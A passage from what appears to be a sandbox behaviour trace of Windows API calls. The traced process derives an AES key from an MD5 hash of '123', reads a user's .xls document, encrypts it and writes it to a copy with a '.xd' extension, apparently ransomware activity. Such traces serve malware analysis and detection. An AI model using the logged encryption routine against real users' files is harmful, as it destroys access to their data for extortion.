wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.030] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.030] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.030] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0069.031] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0069.031] CryptCreateHash (in: hProv=0x17aae68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0069.031] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.031] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.031] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.031] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.032] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0069.032] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.032] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.032] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.032] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.032] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0069.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0069.033] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0069.033] CryptHashData (hHash=0x164c3f0, pbData=0x16294e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0069.033] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.033] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.033] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.033] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.033] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.033] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.033] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.034] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0069.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217f8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0069.034] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0069.034] CryptDeriveKey (in: hProv=0x17aae68, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c370) returned 1 [0069.034] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.034] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.034] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.034] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.034] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.035] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.035] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0069.035] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0069.035] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0069.035] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0069.035] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.035] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.036] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.039] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.039] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.039] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4jcyflejyg9vem2.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0069.040] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.040] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0069.040] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.040] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.040] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.040] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0069.041] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4jcyflejyg9vem2.xls.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0069.043] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.043] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.043] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.043] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.047] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0069.047] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xdf7, lpOverlapped=0x0) returned 1 [0069.048] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0069.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.052] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0069.052] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.052] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.052] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0069.053] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.059] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0069.059] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.059] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.059] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.059] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0069.059] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0069.060] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0069.060] CryptGetKeyParam (in: hKey=0x164c370, dwParam=0x7, pbData=0x16294b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0069.060] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.060] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.060] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.060] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.060] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.061] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.061] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.061] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.061] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.061] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.061] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.061] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.061] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.061] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.062] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.062] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xdf7, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xe00) returned 1 [0069.062] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.062] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.062] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.062] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.062] CharLowerBuffW (in: lpsz="byte[3585]", cchLength=0xa | out: lpsz="byte[3585]") returned 0xa [0069.062] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.062] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.062] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.062] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.062] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.063] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.063] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17bede0*, pdwDataLen=0x130e618*=0xdf7, dwBufLen=0xe00 | out: pbData=0x17bede0*, pdwDataLen=0x130e618*=0xe00) returned 1 [0069.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.063] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.063] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.063] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.064] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.064] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.064] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.064] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.064] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.064] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.064] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.064] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.064] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.064] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) 